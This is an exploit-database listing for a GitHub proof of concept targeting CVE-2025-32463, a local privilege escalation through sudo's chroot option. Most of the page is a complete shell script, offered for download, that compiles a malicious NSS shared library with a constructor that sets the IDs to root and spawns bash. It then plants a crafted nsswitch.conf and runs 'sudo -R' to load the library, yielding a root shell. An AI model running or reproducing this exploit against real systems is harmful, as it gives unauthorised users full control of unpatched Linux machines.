Exploit database

GH-5b2d7f660b1317dc27c17e0b56c058d2

newcomrade12211/cve-2025-32463

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-32463

52 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
newcomrade12211/cve-2025-32463Revision 9a2a757be4be

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Shell · 505 bytes
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}